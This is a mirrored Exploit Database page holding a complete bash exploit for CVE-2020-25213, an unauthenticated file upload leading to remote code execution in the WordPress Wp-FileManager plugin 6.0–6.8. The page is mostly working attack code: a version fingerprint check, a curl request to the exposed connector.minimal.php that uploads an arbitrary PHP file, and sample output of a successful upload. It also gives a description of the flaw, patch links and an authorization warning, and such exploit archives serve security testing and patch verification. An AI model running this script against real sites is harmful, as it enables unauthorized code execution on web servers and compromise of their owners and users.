WordPress Plugin Wp-FileManager 6.8 – RCE

• Exploit Database
• 129 阅读

• 作者： Mansoor R
  日期： 2020-12-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49178/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217

  # Exploit Title: WordPress Plugin Wp-FileManager 6.8 - RCE # Date: September 4,2020 # Exploit Author: Mansoor R (@time4ster) # CVE: CVE-2020-25213 # Version Affected: 6.0 to 6.8 # Vendor URL: https://wordpress.org/plugins/wp-file-manager/ # Patch: Upgrade to wp-file-manager 6.9 (or above) # Tested on: wp-file-manager 6.0 (https://downloads.wordpress.org/plugin/wp-file-manager.6.0.zip) on Ubuntu 18.04   #!/bin/bash   #Description: #The core of the issue began with the File Manager plugin renaming the extension on the elFinder library’s connector.minimal.php.dist file to .php so it could be executed directly, even though the connector file was not used by the File Manager itself. Such libraries often include example files that are not intended to be used “as-is” without adding access controls, and this file had no direct access restrictions, meaning the file could be accessed by anyone. This file could be used to initiate an elFinder command and was hooked to the elFinderConnector.class.php file   #Using connector.minimal.php file attacker can upload arbitrary file to the target (unauthenticated) & thus can achieve Remote code Execution.     #Patch commit details: # https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2373068%40wp-file-manager%2Ftrunk&old=2372895%40wp-file-manager%2Ftrunk&sfp_email=&sfph_mail=   #Reference #https://nvd.nist.gov/vuln/detail/CVE-2020-25213   #Credits: #1. https://www.wordfence.com/blog/2020/09/700000-wordpress-users-affected-by-zero-day-vulnerability-in-file-manager-plugin/ #2. https://seravo.com/blog/0-day-vulnerability-in-wp-file-manager/   ##WARNINGS: #Only test the exploit on websites you are authorized to. #Don&apos;t upload reverse shell payloads or any files that can cause harm to organization. #Also note that the uploaded files can be accessed by anyone unless secured by password.   ## Usage: # ======== # root@Hackintosh:~# ./wp-file-manager-exploit.sh -u http://192.168.1.54/wordpress --check # # ============================================================================================ # wp-file-manager unauthenticated arbitrary file upload (RCE) Exploit [CVE-2020-25213] # # By: Mansoor R (@time4ster) # ============================================================================================ # # [+] Found wp-file-manager version: 6.0 # [+] Version appears to be vulnerable # [+] Target: http://192.168.1.54/wordpress is vulnerable # # root@Hackintosh:~# ./wp-file-manager-exploit.sh -u http://192.168.1.54/wordpress -f /tmp/mypoc.php --verbose # # ============================================================================================ # wp-file-manager unauthenticated arbitrary file upload (RCE) Exploit [CVE-2020-25213] # # By: Mansoor R (@time4ster) # ============================================================================================ # # curl POC : # curl -ks --max-time 5 --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36" -F "reqid=17457a1fe6959" -F "cmd=upload" -F "target=l1_Lw"-F "mtime[]=1576045135" -F "upload[]=@//tmp/mypoc.php" "http://192.168.1.54/wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" # # [+] W00t! W00t! File uploaded successfully. # Location:/wordpress/wp-content/plugins/wp-file-manager/lib/php/../files/mypoc.php   # Exploit #========== echo echo "============================================================================================" echo "wp-file-manager unauthenticated arbitrary file upload (RCE) Exploit [CVE-2020-25213]" echo echo "By: Mansoor R (@time4ster)" echo "============================================================================================" echo   function printHelp() { echo -e " Usage:   -u|--wp_url<string> Wordpress target url -f|--upload_file <string> Absolute location of local file to upload on the target. (relative path will not work) -k|--check Only checks whether the vulnerable endpoint exists & have particular fingerprint or not. No file is uploaded. -v|--verbose Also prints curl command which is going to be executed -h|--help Print Help menu     Example: ./wp-file-manager-exploit.sh --wp_url https://www.example.com/wordpress --check ./wp-file-manager-exploit.sh --wp_url https://wordpress.example.com/ -f /tmp/php_hello.php --verbose " }   check="false" verbose="false" #Processing arguments while [[ "$#" -gt 0 ]] do key="$1"   case "$key" in -u|--wp_url) wp_url="$2" shift shift # past argument ;; -f|--upload_file) upload_file="$2" shift shift ;; -k|--check) check="true" shift shift ;; -v|--verbose) verbose="true" shift ;; -h|--help) printHelp exit shift ;; *) echo [-] Enter valid options exit ;; esac done   [[ -z "$wp_url" ]] && echo "[-] Supply wordpress target URL." && exit [[ -z "$upload_file" ]] && [[ "$check" == "false" ]]&& echo "[-] Either supply --upload_file or --check" && exit [[ -n "$upload_file" ]] && [[ ! -s "$upload_file" ]]&& echo "[-] File supplied is either empty or not exist." && exit   #Script have dependency on jq jq_cmd=$(command -v jq) [[ -z "$jq_cmd" ]] && echo -e "[-] Script have dependency on jq. Insall jq from your package manager.\nFor debian based distro install using command: apt install jq" && exit   function checkWPFileManagerVersion() { #Takes 1 argument: url declare url="$1" declare target_endpoint="$url/wp-content/plugins/wp-file-manager/readme.txt" declare user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36" declare is_vulnerable="true" #declare response=$(curl -ks --max-time 5 --user-agent "$user_agent" "$target_endpoint" | grep -i "Stable tag: ") declare version=$( curl -ks --max-time 5 --user-agent "$user_agent" "$target_endpoint" | grep -A 5 "== Changelog ==" | grep -E -o "[0-9]\.[0-9]" | head -n 1 ) if [ -n "$version" ];then #declare version=$(echo "$response" | awk {&apos;print $3&apos;}) echo "[+] Found wp-file-manager version: $version" patched_version="6.9" #if [ $(awk &apos;BEGIN {print (&apos;$version&apos; > &apos;6.9&apos;}&apos;) ]; then smaller_version=$(echo -e "$version\n$patched_version" | sort -n | head -n 1) if [ "$version" != "$patched_version" ] && [ "$smaller_version" == "$version" ];then echo "[+] Version appears to be vulnerable" else echo "[-] Version don&apos;t appears to be vulnerable" is_vulnerable=false fi else echo "[-] Unable to detect version. May be wp-file-manager plugin not installed." is_vulnerable=false fi if [ "$is_vulnerable" == "false" ]; then echo -n "Do you still want to continue (y/N) : " read choice [[ "$choice" == "y" ]] || [[ "$choice" == "Y" ]] && echo && return exit fi     }   function checkWPFileManager() { #Takes 1 argument: url declare url="$1"   #Checking wp-file-manager plugin version: checkWPFileManagerVersion "$url"   declare target_endpoint="$url/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" declare user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36" declare response=$(curl -ks --max-time 5 --user-agent "$user_agent" "$target_endpoint") #echo "$response" #{"error":["errUnknownCmd"]} is returned when vulnerable endpoint is hit declare is_vulnerable=$(echo "$response" | grep "\{\"error\":\[\"errUnknownCmd\"\]\}") [[ -n "$is_vulnerable" ]] && echo "[+] Target: $url is vulnerable" [[ -z "$is_vulnerable" ]] && echo "[-] Target: $url is not vulnerable" }   function exploitWPFileManager() { #Takes 3 arguments: url & file_upload & verbose(true/false) declare url="$1" declare file_upload="$2" declare verbose="$3" declare target_endpoint="$url/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" declare user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"   if [ "$verbose" == "true" ];then echo "curl POC :" echo "curl -ks --max-time 5 --user-agent \"$user_agent\" -F \"reqid=17457a1fe6959\" -F \"cmd=upload\" -F \"target=l1_Lw\"-F \"mtime[]=1576045135\" -F \"upload[]=@/$file_upload\" \"$target_endpoint\" " echo fi   response=$(curl -ks --max-time 5 --user-agent "$user_agent" -F "reqid=17457a1fe6959" -F "cmd=upload" -F "target=l1_Lw"-F "mtime[]=1576045135" \ -F "upload[]=@/$file_upload" \ "$target_endpoint" ) #echo "$response" file_upload_url=$(echo "$response" | jq -r .added[0].url2>/dev/null) [[ -n "$file_upload_url" ]] && echo -e "[+] W00t! W00t! File uploaded successfully.\nLocation:$file_upload_url " [[ -z "$file_upload_url" ]] && echo "[-] File upload failed." }     [[ "$check" == "true" ]] && checkWPFileManager "$wp_url" [[ -s "$upload_file" ]] && exploitWPFileManager "$wp_url" "$upload_file" "$verbose"   echo